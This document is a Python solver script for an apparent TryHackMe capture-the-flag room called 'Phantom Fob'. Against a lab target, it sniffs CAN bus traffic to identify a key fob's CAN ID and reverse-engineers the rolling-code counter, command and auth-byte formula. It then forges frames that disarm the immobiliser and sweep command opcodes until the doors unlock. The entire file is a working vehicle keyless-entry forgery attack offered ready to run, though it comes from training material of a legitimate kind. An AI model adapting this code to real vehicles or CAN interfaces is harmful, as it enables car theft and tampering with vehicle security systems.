#!/usr/bin/env python3
"""TryHackMe: Phantom Fob — automated CAN bus rolling-code forge & unlock solver."""
import os, sys, socket, time, re, json, threading, urllib.request
from collections import Counter

HOST = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET", "10.49.169.148")
HTTP_PORT, CAN_PORT = 8080, 29536
frames, state, found = [], {}, [None]
frames_lock = threading.Lock()
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,8}\{[^}\r\n]{3,80}\}")
FRAME_RE = re.compile(r"< frame ([0-9A-Fa-f]+) ([0-9.]+) ([0-9A-Fa-f]+) >")

def press(btn):
    req = urllib.request.Request(
        f"http://{HOST}:{HTTP_PORT}/press",
        data=json.dumps({"button": btn}).encode(),
        headers={"Content-Type": "application/json"}, method="POST")
    return urllib.request.urlopen(req, timeout=5).read()

s = socket.create_connection((HOST, CAN_PORT), timeout=10)
s.settimeout(3)
def read_gt():
    b = b""
    while b">" not in b:
        c = s.recv(4096)
        if not c: break
        b += c
    return b

read_gt()                                            # < hi >
s.sendall(b"< open vcan0 >"); read_gt()              # < ok >
s.sendall(b"< rawmode >"); time.sleep(0.25)          # < ok > + stream
s.settimeout(0.1)

def reader():
    buf, tails = b"", {}
    while True:
        try: d = s.recv(65536)
        except socket.timeout: continue
        except OSError: return
        if not d: return
        buf += d
        if b">" not in buf: continue
        end = buf.rfind(b">") + 1
        chunk, buf = buf[:end], buf[end:]
        for m in FRAME_RE.finditer(chunk.decode("latin1")):
            cid, hx = m.group(1).upper(), m.group(3).upper()
            with frames_lock:
                frames.append((cid, hx))
                if len(frames) > 20000: del frames[:10000]
            raw = bytes.fromhex(hx).decode("latin1")
            tails[cid] = (tails.get(cid, "") + raw)[-128:]
            hit = FLAG_RE.search(tails[cid])
            if hit: found[0] = hit.group(0)

def sse():
    while True:
        try:
            r = urllib.request.urlopen(f"http://{HOST}:{HTTP_PORT}/events", timeout=60)
            for line in r:
                line = line.decode(errors="ignore").strip()
                hit = FLAG_RE.search(line)
                if hit: found[0] = hit.group(0)
                if line.startswith("data:"):
                    j = json.loads(line[5:].strip())
                    state.update(j)
                    if j.get("flag"): found[0] = j["flag"]
        except Exception:
            time.sleep(0.5)

threading.Thread(target=reader, daemon=True).start()
threading.Thread(target=sse, daemon=True).start()
time.sleep(1.2)

def grab(btn, fid=None, settle=0.16):
    with frames_lock: n0 = len(frames)
    press(btn)
    t0 = time.time()
    while time.time() - t0 < settle:
        time.sleep(0.02)
        if fid:
            with frames_lock:
                if any(i == fid for i, _ in frames[n0:]):
                    time.sleep(0.03)  # let burst finish
                    break
    with frames_lock: new = frames[n0:]
    if fid is None: return new
    c = [bytes.fromhex(h) for i, h in new if i == fid and len(h) == 16]
    return c[-1] if c else None

# 1) Correlate button presses with bus traffic to find the fob CAN ID
with frames_lock: bg = set(i for i, _ in frames)
hits = []
for _ in range(3):
    ids = [i for i, _ in grab("LOCK") if i not in bg]
    if ids: hits.append(ids[-1])
    time.sleep(0.15)
if not hits:
    with frames_lock: rates = Counter(i for i, _ in frames)
    quiet = {i for i, n in rates.items() if n <= 4}
    for _ in range(3):
        hits += [i for i, _ in grab("LOCK") if i in quiet]
if not hits: raise SystemExit("[-] Could not isolate fob CAN ID.")
fid = Counter(hits).most_common(1)[0][0]
print(f"[+] Fob CAN ID: 0x{fid}")

# 2) Reverse counter index, command index, and auth formula (mod-256 sum or XOR)
layout = None
for _ in range(6):
    seq = [(b, grab(b, fid)) for b in ["LOCK", "HORN", "LOCK", "IMMOB_DISARM"]]
    for k in range(len(seq) - 2):
        (n0, f0), (n1, f1), (n2, f2) = seq[k:k+3]
        if not (f0 and f1 and f2) or n0 != n2 or n0 == n1: continue
        for ci in range(8):
            d1, d2 = (f1[ci] - f0[ci]) & 0xff, (f2[ci] - f1[ci]) & 0xff
            if d1 == 0 or d1 != d2: continue
            for cmd in range(8):
                if cmd == ci or not (f0[cmd] == f2[cmd] != f1[cmd]): continue
                for ai in range(8):
                    if ai in (ci, cmd): continue
                    if len({(f[ai] - f[ci] - f[cmd]) & 0xff for f in (f0, f1, f2)}) == 1:
                        layout = ("ADD", ci, cmd, ai); break
                    if len({f[ai] ^ f[ci] ^ f[cmd] for f in (f0, f1, f2)}) == 1:
                        layout = ("XOR", ci, cmd, ai); break
                if layout: break
            if layout: break
        if layout: break
    if layout: break
if not layout: raise SystemExit("[-] Layout derivation failed; re-run.")
mode, ci, cmd_i, ai = layout
print(f"[+] Formula: {mode} | counter=b{ci}, cmd=b{cmd_i}, auth=b{ai}")

ops = {b: grab(b, fid)[cmd_i] for b in ["LOCK", "HORN", "IMMOB_ARM", "IMMOB_DISARM"]}
print("[+] Opcodes:", {k: f"0x{v:02x}" for k, v in ops.items()})

# 3) Disarm immobiliser, lock doors, then sweep command space inside live window
skip = {ops["LOCK"], ops["IMMOB_ARM"]}
for rnd in range(1, 11):
    press("IMMOB_DISARM"); time.sleep(0.15)
    f = grab("LOCK", fid)
    c0, m0, a0 = f[ci], f[cmd_i], f[ai]
    sec = (a0 - c0 - m0) & 0xff if mode == "ADD" else (a0 ^ c0 ^ m0)
    out, c = [], c0
    unlocked_at = None
    for cand in range(256):
        if cand in skip: continue
        c = (c + 1) & 0xff
        fr = bytearray(f)
        fr[ci], fr[cmd_i] = c, cand
        fr[ai] = (c + cand + sec) & 0xff if mode == "ADD" else (c ^ sec ^ cand)
        out.append("< send %s 8 %s >\n" % (fid, " ".join("%02x" % x for x in fr)))
    s.sendall("".join(out).encode())
    for _ in range(20):
        time.sleep(0.05)
        if state.get("locked") is False and unlocked_at is None:
            unlocked_at = time.time()
        if found[0] or state.get("flag"):
            print(f"\n[+] DOORS UNLOCKED! FLAG: {found[0] or state['flag']}")
            sys.exit(0)
        if unlocked_at and time.time() - unlocked_at > 1.0:
            print("[+] Doors unlocked; latest state:", state)
    print(f"[-] Round {rnd} window expired or no unlock:", {k: state.get(k) for k in ("locked", "immob")})
print("[-] Re-run to retry window timing.")